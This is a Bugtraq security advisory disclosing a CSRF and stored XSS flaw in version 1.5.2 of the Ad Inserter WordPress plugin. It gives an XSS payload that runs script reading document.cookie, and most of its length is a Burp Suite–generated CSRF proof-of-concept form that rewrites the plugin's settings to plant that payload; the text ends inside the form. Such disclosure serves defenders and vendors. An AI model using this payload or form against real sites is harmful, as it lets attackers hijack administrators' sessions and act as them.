[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
CSRF/XSSIn Ad_InSerter Wordpress
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: CSRF/XSSIn Ad_InSerter Wordpress
- From: kingkaustubh@xxxxxx
- Date: Wed, 6 May 2015 19:44:24 GMT
================================================================
CSRF/Stored XSS Vulnerability in Ad Inserter Plugin
================================================================
. contents:: Table Of Content
Overview
========
* Title :CSRF and Stored XSS Vulnerability in Ad Inserter Wordpress Plugin
* Author: Kaustubh G. Padwad
* Plugin Homepage: https://wordpress.org/plugins/ad-inserter/
* Severity: HIGH
* Version Affected: Version 1.5.2 and mostly prior to it
* Version Tested : Version 1.5.2
* version patched:
Description
===========
Vulnerable Parameter
--------------------
* ad1_name
* Block 1
* Block Name
* adinserter name
* disable adinserter
About Vulnerability
-------------------
This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if
an admin user can be tricked to visit a crafted URL created by attacker (via
spear phishing/social engineering), the attacker can insert arbitrary script
into admin page. Once exploited, admin's browser can be made to do almost
anything the admin user could typically do by hijacking admin's cookies etc.
Vulnerability Class
===================
Cross Site Request Forgery
(https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29)
Cross Site Scripting
(https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)
Steps to Reproduce: (POC)
=========================
After installing the plugin
1. Goto Dashboard --> Setting --> Ad Inserter --> Block1
2. Insert this payload ## "> <img src="/" =_="
title="onerror='prompt(document.cookie)'"> ## Into above mention Vulnerable
parameter Save settings and see XSS in action
3. Visit Ad Inserter settings page of this plugin anytime later and you can see
the script executing as it is stored.
Plugin does not uses any nonces and hence, the same settings can be changed
using CSRF attack and the PoC code for the same is below
CSRF POC Code
=============
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="http://127.0.0.1/wp/wp-admin/options-general.php?page=ad-inserter.php"
method="POST">
<input type="hidden" name="ad_save" value="Save All Settings"
/>
<input type="hidden" name="ad1_name"
value="<img src="/" =_=" title="onerror='prompt(document.cookie)'">"
/>
<input type="hidden" name="ad1_process_php" value="0" />
<input type="hidden" name="ad1_data" value="" />
<input type="hidden" name="ad1_displayType" value="None" />
<input type="hidden" name="ad1_display_for_users" value="all"
/>
<input type="hidden" name="ad1_display_for_devices"
value="all" />
<input type="hidden" name="ad1_floatType" value="None" />
<input type="hidden" name="ad1_custom_css" value="" />
<input type="hidden" name="ad1_widget_settings_post"
value="0" />
<input type="hidden" name="ad1_widget_settings_post"
value="1" />
<input type="hidden" name="ad1_widget_settings_page"
value="0" />
<input type="hidden" name="ad1_widget_settings_home"
value="0" />
<input type="hidden" name="ad1_widget_settings_home"
value="1" />
<input type="hidden" name="ad1_widget_settings_category"
value="0" />
<input type="hidden" name="ad1_widget_settings_category"
value="1" />
<input type="hidden" name="ad1_widget_settings_search"
value="0" />
<input type="hidden" name="ad1_widget_settings_search"
value="1" />
<input type="hidden" name="ad1_widget_settings_archive"
value="0" />
<input type="hidden" name="ad1_widget_settings_archive"
value="1" />
<input type="hidden" name="ad1_after_day" value="0" />
<input type="hidden" name="ad1_general_tag" value="gadgets" />
<input type="hidden" name="ad1_block_user" value="" />
<input type="hidden" name="ad1_domain_list_type"
value="Black List" />
<input type="hidden" name="ad1_block_cat" value="" />
<input type="hidden" name="ad1_block_cat_type"
value="Black List" />
<input type="hidden" name="ad1_minimum_paragraphs" value="0" />
<input type="hidden" name="ad1_paragraph_text" value="" />
<input type="hidden" name="ad1_paragraphNumber" value="0" />
<input type="hidden" name="ad1_directionType" value="From Top" />
<input type="hidden" name="ad1_excerptNumber" value="0" />
<input type="hidden" name="ad1_enable_manual" value="0" />
<input type="hidden" name="ad1_enable_php_call" value="0" />
<input type="hidden" name="ad2_name" value="Block 2" />
<input type="hidden" name="ad2_process_php" value="0" />
<input type="hidden" name="ad2_data" value="" />
<input type="hidden" name="ad2_displayType" value="None" />
<input type="hidden" name="ad2_display_for_users" value="all"
/>
<input type="hidden" name="ad2_display_for_devices"
value="all" />
<input type="hidden" name="ad2_floatType" value="None" />
<input type="hidden" name="ad2_custom_css" value="" />
<input type="hidden" name="ad2_widget_settings_post"
value="0" />
<input type="hidden" name="ad2_widget_settings_post"
value="1" />
<input type="hidden" name="ad2_widget_settings_page"
value="0" />
<input type="hidden" name="ad2_widget_settings_home"
value="0" />
<input type="hidden" name="ad2_widget_settings_home"
value="1" />
<input type="hidden" name="ad2_widget_settings_category"
value="0" />
<input type="hidden" name="ad2_widget_settings_category"
value="1" />
<input type="hidden" name="ad2_widget_settings_search"
value="0" />
<input type="hidden" name="ad2_widget_settings_search"
value="1" />
<input type="hidden" name="ad2_widget_settings_archive"
value="0" />
<input type="hidden" name="ad2_widget_settings_archive"
value="1" />
<input type="hidden" name="ad2_after_day" value="0" />
<input type="hidden" name="ad2_general_tag" value="gadgets" />
<input type="hidden" name="ad2_block_user" value="" />
<input type="hidden" name="ad2_domain_list_type"
value="Black List" />
<input type="hidden" name="ad2_block_cat" value="" />
<input type="hidden" name="ad2_block_cat_type"
value="Black List" />
<input type="hidden" name="ad2_minimum_paragraphs" value="0" />
<input type="hidden" name="ad2_paragraph_text" value="" />
<input type="hidden" name="ad2_paragraphNumber" value="0" />
<input type="hidden" name="ad2_directionType" value="From Top" />
<input type="hidden" name="ad2_excerptNumber" value="0" />
<input type="hidden" name="ad2_enable_manual" value="0" />
<input type="hidden" name="ad2_enable_php_call" value="0" />
<input type="hidden" name="ad3_name" value="Block 3" />
<input type="hidden" name="ad3_process_php" value="0" />
<input type="hidden" name="ad3_data" value="" />
<input type="hidden" name="ad3_displayType" value="None" />
<input type="hidden" name="ad3_display_for_users" value="all"
/>
<input type="hidden" name="ad3_display_for_devices"
value="all" />
<input type="hidden" name="ad3_floatType" value="None" />
<input type="hidden" name="ad3_custom_css" value="" />
<input type="hidden" name="ad3_widget_settings_post"
value="0" />
<input type="hidden" name="ad3_widget_settings_post"
value="1" />
<input type="hidden" name="ad3_widget_settings_page"
value="0" />
<input type="hidden" name="ad3_widget_settings_home"
value="0" />
<input type="hidden" name="ad3_widget_settings_home"
value="1" />
<input type="hidden" name="ad3_widget_settings_category"
value="0" />
<input type="hidden" name="ad3_widget_settings_category"
value="1" />
<input type="hidden" name="ad3_widget_settings_search"
value="0" />
<input type="hidden" name="ad3_widget_settings_search"
value="1" />
<input type="hidden" name="ad3_widget_settings_archive"
value="0" />
<input type="hidden" name="ad3_widget_settings_archive"
value="1" />
<input type="hidden" name="ad3_after_day" value="0" />
<input type="hidden" name="ad3_general_tag" value="gadgets" />
<input type="hidden" name="ad3_block_user" value="" />
<input type="hidden" name="ad3_domain_list_type"
value="Black List" />
<input type="hidden" name="ad3_block_cat" value="" />
<input type="hidden" name="ad3_block_cat_type"
value="Black List" />
<input type="hidden" name="ad3_minimum_paragraphs" value="0" />
<input type="hidden" name="ad3_paragraph_text" value="" />
<input type="hidden" name="ad3_paragraphNumber" value="0" />
<input type="hidden" name="ad3_directionType" value="From Top" />
<input type="hidden" name="ad3_excerptNumber" value="0" />
<input type="hidden" name="ad3_enable_manual" value="0" />
<input type="hidden" name="ad3_enable_php_call" value="0" />
<input type="hidden" name="ad4_name" value="Block 4" />
<input type="hidden" name="ad4_process_php" value="0" />
<input type="hidden" name="ad4_data" value="" />
<input type="hidden" name="ad4_displayType" value="None" />
<input type="hidden" name="ad4_display_for_users" value="all"
/>
<input type="hidden" name="ad4_display_for_devices"
value="all" />
<input type="hidden" name="ad4_floatType" value="None" />
<input type="hidden" name="ad4_custom_css" value="" />
<input type="hidden" name="ad4_widget_settings_post"
value="0" />
<input type="hidden" name="ad4_widget_settings_post"
value="1" />
<input type="hidden" name="ad4_widget_settings_page"
value="0" />
<input type="hidden" name="ad4_widget_settings_home"
value="0" />
<input type="hidden" name="ad4_widget_settings_home"
value="1" />
<input type="hidden" name="ad4_widget_settings_category"
value="0" />
<input type="hidden" name="ad4_widget_settings_category"
value="1" />
<input type="hidden" name="ad4_widget_settings_search"
value="0" />
<input type="hidden" name="ad4_widget_settings_search"
value="1" />
<input type="hidden" name="ad4_widget_settings_archive"
value="0" />
<input type="hidden" name="ad4_widget_settings_archive"
value="1" />
<input type="hidden" name="ad4_after_day" value="0" />
<input type="hidden" name="ad4_general_tag" value="gadgets" />
<input type="hidden" name="ad4_block_user" value="" />
<input type="hidden" name="ad4_domain_list_type"
value="Black List" />
<input type="hidden" name="ad4_block_cat" value="" />
<input type="hidden" name="ad4_block_cat_type"
value="Black List" />
<input type="hidden" name="ad4_minimum_paragraphs" value="0" />
<input type="hidden" name="ad4_paragraph_text" value="" />
<input type="hidden" name="ad4_paragraphNumber" value="0" />
<input type="hidden" name="ad4_directionType" value="From Top" />
<input type="hidden" name="ad4_excerptNumber" value="0" />
<input type="hidden" name="ad4_enable_manual" value="0" />
<input type="hidden" name="ad4_enable_php_call" value="0" />
<input type="hidden" name="ad5_name" value="Block 5" />
<input type="hidden" name="ad5_process_php" value="0" />
<input type="hidden" name="ad5_data" value="" />
<input type="hidden" name="ad5_displayType" value="None" />
<input type="hidden" name="ad5_display_for_users" value="all"
/>
<input type="hidden" name="ad5_display_for_devices"
value="all" />
<input type="hidden" name="ad5_floatType" value="None" />
<input type="hidden" name="ad5_custom_css" value="" />
<input type="hidden" name="ad5_widget_settings_post"
value="0" />
<input type="hidden" name="ad5_widget_settings_post"
value="1" />
<input type="hidden" name="ad5_widget_settings_page"
value="0" />
<input type="hidden" name="ad5_widget_settings_home"
value="0" />
<input type="hidden" name="ad5_widget_settings_home"
value="1" />
<input type="hidden" name="ad5_widget_settings_category"
value="0" />
<input type="hidden" name="ad5_widget_settings_category"
value="1" />
<input type="hidden" name="ad5_widget_settings_search"
value="0" />
<input type="hidden" name="ad5_widget_settings_search"
value="1" />
<input type="hidden" name="ad5_widget_settings_archive"
value="0" />
<input type="hidden" name="ad5_widget_settings_archive"
value="1" />
<input type="hidden" name="ad5_after_day" value="0" />
<input type="hidden" name="ad5_general_tag" value="gadgets" />
<input type="hidden" name="ad5_block_user" value="" />
<input type="hidden" name="ad5_domain_list_type"
value="Black List" />
<input type="hidden" name="ad5_block_cat" value="" />
<input type="hidden" name="ad5_block_cat_type"
value="Black List" />
<input type="hidden" name="ad5_minimum_paragraphs" value="0" />
<input type="hidden" name="ad5_paragraph_text" value="" />
<input type="hidden" name="ad5_paragraphNumber" value="0" />
<input type="hidden" name="ad5_directionType" value="From Top" />
<input type="hidden" name="ad5_excerptNumber" value="0" />
<input type="hidden" name="ad5_enable_manual" value="0" />
<input type="hidden" name="ad5_enable_php_call" value="0" />
<input type="hidden" name="ad6_name" value="Block 6" />
<input type="hidden" name="ad6_process_php" value="0" />
<input type="hidden" name="ad6_data" value="" />
<input type="hidden" name="ad6_displayType" value="None" />
<input type="hidden" name="ad6_display_for_users" value="all"
/>
<input type="hidden" name="ad6_display_for_devices"
value="all" />
<input type="hidden" name="ad6_floatType" value="None" />
<input type="hidden" name="ad6_custom_css" value="" />
<input type="hidden" name="ad6_widget_settings_post"
value="0" />
<input type="hidden" name="ad6_widget_settings_post"
value="1" />
<input type="hidden" name="ad6_widget_settings_page"
value="0" />
<input type="hidden" name="ad6_widget_settings_home"
value="0" />
<input type="hidden" name="ad6_widget_settings_home"
value="1" />
<input type="hidden" name="ad6_widget_settings_category"
value="0" />
<input type="hidden" name="ad6_widget_settings_category"
value="1" />
<input type="hidden" name="ad6_widget_settings_search"
value="0" />
<input type="hidden" name="ad6_widget_settings_search"
value="1" />
<input type="hidden" name="ad6_widget_settings_archive"
value="0" />
<input type="hidden" name="ad6_widget_settings_archive"
value="1" />
<input type="hidden" name="ad6_after_day" value="0" />
<input type="hidden" name="ad6_general_tag" value="gadgets" />
<input type="hidden" name="ad6_block_user" value="" />
<input type="hidden" name="ad6_domain_list_type"
value="Black List" />
<input type="hidden" name="ad6_block_cat" value="" />
<input type="hidden" name="ad6_block_cat_type"
value="Black List" />
<input type="hidden" name="ad6_minimum_paragraphs" value="0" />
<input type="hidden" name="ad6_paragraph_text" value="" />
<input type="hidden" name="ad6_paragraphNumber" value="0" />
<input type="hidden" name="ad6_directionType" value="From Top" />
<input type="hidden" name="ad6_excerptNumber" value="0" />
<input type="hidden" name="ad6_enable_manual" value="0" />
<input type="hidden" name="ad6_enable_php_call" value="0" />
<input type="hidden" name="ad7_name" value="Block 7" />
<input type="hidden" name="ad7_process_php" value="0" />
<input type="hidden" name="ad7_data" value="" />
<input type="hidden" name="ad7_displayType" value="None" />
<input type="hidden" name="ad7_display_for_users" value="all"
/>
<input type="hidden" name="ad7_display_for_devices"
value="all" />
<input type="hidden" name="ad7_floatType" value="None" />
<input type="hidden" name="ad7_custom_css" value="" />
<input type="hidden" name="ad7_widget_settings_post"
value="0" />
<input type="hidden" name="ad7_widget_settings_post"
value="1" />
<input type="hidden" name="ad7_widget_settings_page"
value="0" />
<input type="hidden" name="ad7_widget_settings_home"
value="0" />
<input type="hidden" name="ad7_widget_settings_home"
value="1" />
<input type="hidden" name="ad7_widget_settings_category"
value="0" />
<input type="hidden" name="ad7_widget_settings_category"
value="1" />
<input type="hidden" name="ad7_widget_settings_search"
value="0" />
<input type="hidden" name="ad7_widget_settings_search"
value="1" />
<input type="hidden" name="ad7_widget_settings_archive"
value="0" />
<input type="hidden" name="ad7_widget_settings_archive"
value="1" />
<input type="hidden" name="ad7_after_day" value="0" />
<input type="hidden" name="ad7_general_tag" value="gadgets" />
<input type="hidden" name="ad7_block_user" value="" />
<input type="hidden" name="ad7_domain_list_type"
value="Black List" />
<input type="hidden" name="ad7_block_cat" value="" />
<input type="hidden" name="ad7_block_cat_type"
value="Black List" />
<input type="hidden" name="ad7_minimum_paragraphs" value="0" />
<input type="hidden" name="ad7_paragraph_text" value="" />
<input type="hidden" name="ad7_paragraphNumber" value="0" />
<input type="hidden" name="ad7_directionType" value="From Top" />
<input type="hidden" name="ad7_excerptNumber" value="0" />
<input type="hidden" name="ad7_enable_manual" value="0" />
<input type="hidden" name="ad7_enable_php_call" value="0" />
<input type="hidden" name="ad8_name" value="Block 8" />
<input type="hidden" name="ad8_process_php" value="0" />
<input type="hidden" name="ad8_data" value="" />
<input type="hidden" name="ad8_displayType" value="None" />
<input type="hidden" name="ad8_display_for_users" value="all"
/>
<input type="hidden" name="ad8_display_for_devices"
value="all" />
<input type="hidden" name="ad8_floatType" value="None" />
<input type="hidden" name="ad8_custom_css" value="" />
<input type="hidden" name="ad8_widget_settings_post"
value="0" />
<input type="hidden" name="ad8_widget_settings_post"
value="1" />
<input type="hidden" name="ad8_widget_settings_page"
value="0" />
<input type="hidden" name="ad8_widget_settings_home"
value="0" />
<input type="hidden" name="ad8_widget_settings_home"
value="1" />
<input type="hidden" name="ad8_widget_settings_category"
value="0" />
<input type="hidden" name="ad8_widget_settings_category"
value="1" />
<input type="hidden" name="ad8_widget_settings_search"
value="0" />
<input type="hidden" name="ad8_widget_settings_search"
value="1" />
<input type="hidden" name="ad8_widget_settings_archive"
value="0" />
<input type="hidden" name="ad8_widget_settings_archive"
value="1" />
<input type="hidden" name="ad8_after_day" value="0" />
<input type="hidden" name="ad8_general_tag" value="gadgets" />
<input type="hidden" name="ad8_block_user" value="" />
<input type="hidden" name="ad8_domain_list_type"
value="Black List" />
<input type="hidden" name="ad8_block_cat" value="" />
<input type="hidden" name="ad8_block_cat_type"
value="Black List" />
<input type="hidden" name="ad8_minimum_paragraphs" value="0" />
<input type="hidden" name="ad8_paragraph_text" value="" />
<input type="hidden" name="ad8_paragraphNumber" value="0" />
<input type="hidden" name="ad8_directionType" value="From Top" />
<input type="hidden" name="ad8_excerptNumber" value="0" />
<input type="hidden" name="ad8_enable_manual" value="0" />
<input type="hidden" name="ad8_enable_php_call" value="0" />
<input type="hidden" name="ad9_name" value="Block 9" />
<input type="hidden" name="ad9_process_php" value="0" />
<input type="hidden" name="ad9_data" value="" />
<input type="hidden" name="ad9_displayType" value="None" />
<input type="hidden" name="ad9_display_for_users" value="all"
/>
<input type="hidden" name="ad9_display_for_devices"
value="all" />
<input type="hidden" name="ad9_floatType" value="None" />
<input type="hidden" name="ad9_custom_css" value="" />
<input type="hidden" name="ad9_widget_settings_post"
value="0" />
<input type="hidden" name="ad9_widget_settings_post"
value="1" />
<input type="hidden" name="ad9_widget_settings_page"
value="0" />
<input type="hidden" name="ad9_widget_settings_home"
value="0" />
<input type="hidden" name="ad9_widget_settings_home"
value="1" />
<input type="hidden" name="ad9_widget_settings_category"
value="0" />
<input type="hidden" name="ad9_widget_settings_category"
value="1" />
<input type="hidden" name="ad9_widget_settings_search"
value="0" />
<input type="hidden" name="ad9_widget_settings_search"
value="1" />
<input type="hidden" name="ad9_widget_settings_archive"
value="0" />
<input type="hidden" name="ad9_widget_settings_archive"
value="1" />
<input type="hidden" name="ad9_after_day" value="0" />
<input type="hidden" name="ad9_general_tag" value="gadgets" />
<input type="hidden" name="ad9_block_user" value="" />
<input type="hidden" name="ad9_domain_list_type"
value="Black List" />
<input type="hidden" name="ad9_block_cat" value="" />
<input type="hidden" name="ad9_block_cat_type"
value="Black List" />
<input type="hidden" name="ad9_minimum_paragraphs" value="0" />
<input type="hidden" name="ad9_paragraph_text" value="" />
<input type="hidden" name="ad9_paragraphNumber" value="0" />
<input type="hidden" name="ad9_directionType" value="From Top" />
<input type="hidden" name="ad9_excerptNumber" value="0" />
<input type="hidden" name="ad9_enable_manual" value="0" />
<input type="hidden" name="ad9_enable_php_call" value="0" />
<input type="hidden" name="ad10_name" value="Block 10" />
<input type="hidden" name="ad10_process_php" value="0" />
<input type="hidden" name="ad10_data" value="" />
<input type="hidden" name="ad10_displayType" value="None" />
<input type="hidden" name="ad10_display_for_users"
value="all" />
<input type="hidden" name="ad10_display_for_devices"
value="all" />
<input type="hidden" name="ad10_floatType" value="None" />
<input type="hidden" name="ad10_custom_css" value="" />
<input type="hidden" name="ad10_widget_settings_post"
value="0" />
<input type="hidden" name="ad10_widget_settings_post"
value="1" />
<input type="hidden" name="ad10_widget_settings_page"
value="0" />
<input type="hidden" name="ad10_widget_settings_home"
value="0" />
<input type="hidden" name="ad10_widget_settings_home"
value="1" />
<input type="hidden" name="ad10_widget_settings_category"
value="0" />
<input type="hidden" name="ad10_widget_settings_category"
value="1" />
<input type="hidden" name="ad10_widget_settings_search"
value="0" />
<input type="hidden" name="ad10_widget_settings_search"
value="1" />
<input type="hidden" name="ad10_widget_settings_archive"
value="0" />
<input type="hidden" name="ad10_widget_settings_archive"
value="1" />
<input type="hidden" name="ad10_after_day" value="0" />
<input type="hidden" name="ad10_general_tag" value="gadgets" />
<input type="hidden" name="ad10_block_user" value="" />
<input type="hidden" name="ad10_domain_list_type"
value="Black List" />
<input type="hidden" name="ad10_block_cat" value="" />
<input type="hidden" name="ad10_block_cat_type"
value="Black List" />
<input type="hidden" name="ad10_minimum_paragraphs" value="0" />
<input type="hidden" name="ad10_paragraph_text" value="" />
<input type="hidden" name="ad10_paragraphNumber" value="0" />
<input type="hidden" name="ad10_directionType" value="From Top" />
<input type="hidden" name="ad10_excerptNumber" value="0" />
<input type="hidden" name="ad10_enable_manual" value="0" />
<input type="hidden" name="ad10_enable_php_call" value="0" />
<input type="hidden" name="ad11_name" value="Block 11" />
<input type="hidden" name="ad11_process_php" value="0" />
<input type="hidden" name="ad11_data" value="" />
<input type="hidden" name="ad11_displayType" value="None" />
<input type="hidden" name="ad11_display_for_users"
value="all" />
<input type="hidden" name="ad11_display_for_devices"
value="all" />
<input type="hidden" name="ad11_floatType" value="None" />
<input type="hidden" name="ad11_custom_css" value="" />
<input type="hidden" name="ad11_widget_settings_post"
value="0" />
<input type="hidden" name="ad11_widget_settings_post"
value="1" />
<input type="hidden" name="ad11_widget_settings_page"
value="0" />
<input type="hidden" name="ad11_widget_settings_home"
value="0" />
<input type="hidden" name="ad11_widget_settings_home"
value="1" />
<input type="hidden" name="ad11_widget_settings_category"
value="0" />
<input type="hidden" name="ad11_widget_settings_category"
value="1" />
<input type="hidden" name="ad11_widget_settings_search"
value="0" />
<input type="hidden" name="ad11_widget_settings_search"
value="1" />
<input type="hidden" name="ad11_widget_settings_archive"
value="0" />
<input type="hidden" name="ad11_widget_settings_archive"
value="1" />
<input type="hidden" name="ad11_after_day" value="0" />
<input type="hidden" name="ad11_general_tag" value="gadgets" />
<input type="hidden" name="ad11_block_user" value="" />
<input type="hidden" name="ad11_domain_list_type"
value="Black List" />
<input type="hidden" name="ad11_block_cat" value="" />
<input type="hidden" name="ad11_block_cat_type"
value="Black List" />
<input type="hidden" name="ad11_minimum_paragraphs" value="0" />
<input type="hidden" name="ad11_paragraph_text" value="" />
<input type="hidden" name="ad11_paragraphNumber" value="0" />
<input type="hidden" name="ad11_directionType" value="From Top" />
<input type="hidden" name="ad11_excerptNumber" value="0" />
<input type="hidden" name="ad11_enable_manual" value="0" />
<input type="hidden" name="ad11_enable_php_call" value="0" />
<input type="hidden" name="ad12_name" value="Block 12" />
<input type="hidden" name="ad12_process_php" value="0" />
<input type="hidden" name="ad12_data" value="" />
<input type="hidden" name="ad12_displayType" value="None" />
<input type="hidden" name="ad12_display_for_users"
value="all" />
<input type="hidden" name="ad12_display_for_devices"
value="all" />
<input type="hidden" name="ad12_floatType" value="None" />
<input type="hidden" name="ad12_custom_css" value="" />
<input type="hidden" name="ad12_widget_settings_post"
value="0" />
<input type="hidden" name="ad12_widget_settings_post"
value="1" />
<input type="hidden" name="ad12_widget_settings_page"
value="0" />
<input type="hidden" name="ad12_widget_settings_home"
value="0" />
<input type="hidden" name="ad12_widget_settings_home"
value="1" />
<input type="hidden" name="ad12_widget_settings_category"
value="0" />
<input type="hidden" name="ad12_widget_settings_category"
value="1" />
<input type="hidden" name="ad12_widget_settings_search"
value="0" />
<input type="hidden" name="ad12_widget_settings_search"
value="1" />
<input type="hidden" name="ad12_widget_settings_archive"
value="0" />
<input type="hidden" name="ad12_widget_settings_archive"
value="1" />
<input type="hidden" name="ad12_after_day" value="0" />
<input type="hidden" name="ad12_general_tag" value="gadgets" />
<input type="hidden" name="ad12_block_user" value="" />
<input type="hidden" name="ad12_domain_list_type"
value="Black List" />
<input type="hidden" name="ad12_block_cat" value="" />
<input type="hidden" name="ad12_block_cat_type"
value="Black List" />
<input type="hidden" name="ad12_minimum_paragraphs" value="0" />
<input type="hidden" name="ad12_paragraph_text" value="" />
<input type="hidden" name="ad12_paragraphNumber" value="0" />
<input type="hidden" name="ad12_directionType" value="From Top" />
<input type="hidden" name="ad12_excerptNumber" value="0" />
<input type="hidden" name="ad12_enable_manual" value="0" />
<input type="hidden" name="ad12_enable_php_call" value="0" />
<input type="hidden" name="ad13_name" value="Block 13" />
<input type="hidden" name="ad13_process_php" value="0" />
<input type="hidden" name="ad13_data" value="" />
<input type="hidden" name="ad13_displayType" value="None" />
<input type="hidden" name="ad13_display_for_users"
value="all" />
<input type="hidden" name="ad13_display_for_devices"
value="all" />
<input type="hidden" name="ad13_floatType" value="None" />
<input type="hidden" name="ad13_custom_css" value="" />
<input type="hidden" name="ad13_widget_settings_post"
value="0" />
<input type="hidden" name="ad13_widget_settings_post"
value="1" />
<input type="hidden" name="ad13_widget_settings_page"
value="0" />
<input type="hidden" name="ad13_widget_settings_home"
value="0" />
<input type="hidden" name="ad13_widget_settings_home"
value="1" />
<input type="hidden" name="ad13_widget_settings_category"
value="0" />
<input type="hidden" name="ad13_widget_settings_category"
value="1" />
<input type="hidden" name="ad13_widget_settings_search"
value="0" />
<input type="hidden" name="ad13_widget_settings_search"
value="1" />
<input type="hidden" name="ad13_widget_settings_archive"
value="0" />
<input type="hidden" name="ad13_widget_settings_archive"
value="1" />
<input type="hidden" name="ad13_after_day" value="0" />
<input type="hidden" name="ad13_general_tag" value="gadgets" />
<input type="hidden" name="ad13_block_user" value="" />
<input type="hidden" name="ad13_domain_list_type"
value="Black List" />
<input type="hidden" name="ad13_block_cat" value="" />
<input type="hidden" name="ad13_block_cat_type"
value="Black List" />
<input type="hidden" name="ad13_minimum_paragraphs" value="0" />
<input type="hidden" name="ad13_paragraph_text" value="" />
<input type="hidden" name="ad13_paragraphNumber" value="0" />
<input type="hidden" name="ad13_directionType" value="From Top" />
<input type="hidden" name="ad13_excerptNumber" value="0" />
<input type="hidden" name="ad13_enable_manual" value="0" />
<input type="hidden" name="ad13_enable_php_call" value="0" />
<input type="hidden" name="ad14_name" value="Block 14" />
<input type="hidden" name="ad14_process_php" value="0" />
<input type="hidden" name="ad14_data" value="" />
<input type="hidden" name="ad14_displayType" value="None" />
<input type="hidden" name="ad14_display_for_users"
value="all" />
<input type="hidden" name="ad14_display_for_devices"
value="all" />
<input type="hidden" name="ad14_floatType" value="None" />
<input type="hidden" name="ad14_custom_css" value="" />
<input type="hidden" name="ad14_widget_settings_post"
value="0" />
<input type="hidden" name="ad14_widget_settings_post"
value="1" />
<input type="hidden" name="ad14_widget_settings_page"
value="0" />
<input type="hidden" name="ad14_widget_settings_home"
value="0" />
<input type="hidden" name="ad14_widget_settings_home"
value="1" />
<input type="hidden" name="ad14_widget_settings_category"
value="0" />
<input type="hidden" name="ad14_widget_settings_category"
value="1" />
<input type="hidden" name="ad14_widget_settings_search"
value="0" />
<input type="hidden" name="ad14_widget_settings_search"
value="1" />
<input type="hidden" name="ad14_widget_settings_archive"
value="0" />
<input type="hidden" name="ad14_widget_settings_archive"
value="1" />
<input type="hidden" name="ad14_after_day" value="0" />
<input type="hidden" name="ad14_general_tag" value="gadgets" />
<input type="hidden" name="ad14_block_user" value="" />
<input type="hidden" name="ad14_domain_list_type"
value="Black List" />
<input type="hidden" name="ad14_block_cat" value="" />
<input type="hidden" name="ad14_block_cat_type"
value="Black List" />
<input type="hidden" name="ad14_minimum_paragraphs" value="0" />
<input type="hidden" name="ad14_paragraph_text" value="" />
<input type="hidden" name="ad14_paragraphNumber" value="0" />
<input type="hidden" name="ad14_directionType" value="From Top" />
<input type="hidden" name="ad14_excerptNumber" value="0" />
<input type="hidden" name="ad14_enable_manual" value="0" />
<input type="hidden" name="ad14_enable_php_call" value="0" />
<input type="hidden" name="ad15_name" value="Block 15" />
<input type="hidden" name="ad15_process_php" value="0" />
<input type="hidden" name="ad15_data" value="" />
<input type="hidden" name="ad15_displayType" value="None" />
<input type="hidden" name="ad15_display_for_users"
value="all" />
<input type="hidden" name="ad15_display_for_devices"
value="all" />
<input type="hidden" name="ad15_floatType" value="None" />
<input type="hidden" name="ad15_custom_css" value="" />
<input type="hidden" name="ad15_widget_settings_post"
value="0" />
<input type="hidden" name="ad15_widget_settings_post"
value="1" />
<input type="hidden" name="ad15_widget_settings_page"
value="0" />
<input type="hidden" name="ad15_widget_settings_home"
value="0" />
<input type="hidden" name="ad15_widget_settings_home"
value="1" />
<input type="hidden" name="ad15_widget_settings_category"
value="0" />
<input type="hidden" name="ad15_widget_settings_category"
value="1" />
<input type="hidden" name="ad15_widget_settings_search"
value="0" />
<input type="hidden" name="ad15_widget_settings_search"
value="1" />
<input type="hidden" name="ad15_widget_settings_archive"
value="0" />
<input type="hidden" name="ad15_widget_settings_archive"
value="1" />
<input type="hidden" name="ad15_after_day" value="0" />
<input type="hidden" name="ad15_general_tag" value="gadgets" />
<input type="hidden" name="ad15_block_user" value="" />
<input type="hidden" name="ad15_domain_list_type"
value="Black List" />
<input type="hidden" name="ad15_block_cat" value="" />
<input type="hidden" name="ad15_block_cat_type"
value="Black List" />
<input type="hidden" name="ad15_minimum_paragraphs" value="0" />
<input type="hidden" name="ad15_paragraph_text" value="" />
<input type="hidden" name="ad15_paragraphNumber" value="0" />
<input type="hidden" name="ad15_directionType" value="From Top" />
<input type="hidden" name="ad15_excerptNumber" value="0" />
<input type="hidden" name="ad15_enable_manual" value="0" />
<input type="hidden" name="ad15_enable_php_call" value="0" />
<input type="hidden" name="ad16_name" value="Block 16" />
<input type="hidden" name="ad16_process_php" value="0" />
<input type="hidden" name="ad16_data" value="" />
<input type="hidden" name="ad16_displayType" value="None" />
<input type="hidden" name="ad16_display_for_users"
value="all" />
<input type="hidden" name="ad16_display_for_devices"
value="all" />
<input type="hidden" name="ad16_floatType" value="None" />
<input type="hidden" name="ad16_custom_css" value="" />
<input type="hidden" name="ad16_widget_settings_post"
value="0" />
<input type="hidden" name="ad16_widget_settings_post"
value="1" />
<input type="hidden" name="ad16_widget_settings_page"
value="0" />
<input type="hidden" name="ad16_widget_settings_home"
value="0" />
<input type="hidden" name="ad16_widget_settings_home"
value="1" />
<input type="hidden" name="ad16_widget_settings_category"
value="0" />
<input type="hidden" name="ad16_widget_settings_category"
value="1" />
<input type="hidden" name="ad16_widget_settings_search"
value="0" />
<input type="hidden" name="ad16_widget_settings_search"
value="1" />
<input type="hidden" name="ad16_widget_settings_archive"
value="0" />
<input type="hidden" name="ad16_widget_settings_archive"
value="1" />
<input type="hidden" name="ad16_after_day" value="0" />
<input type="hidden" name="ad16_general_tag" value="gadgets" />
<input type="hidden" name="ad16_block_user" value="" />
<input type="hidden" name="ad16_domain_list_type"
value="Black List" />
<input type="hidden" name="ad16_block_cat" value="" />
<input type="hidden" name="ad16_block_cat_type"
value="Black List" />
<input type="hidden" name="ad16_minimum_paragraphs" value="0" />
<input type="hidden" name="ad16_paragraph_text" value="" />
<input type="hidden" name="ad16_paragraphNumber" value="0" />
<input type="hidden" name="ad16_directionType" value="From Top" />
<input type="hidden" name="ad16_excerptNumber" value="0" />
<input type="hidden" name="ad16_enable_manual" value="0" />
<input type="hidden" name="ad16_enable_php_call" value="0" />
<input type="hidden" name="adH_process_php" value="0" />
<input type="hidden" name="adH_data" value="" />
<input type="hidden" name="adH_enable" value="0" />
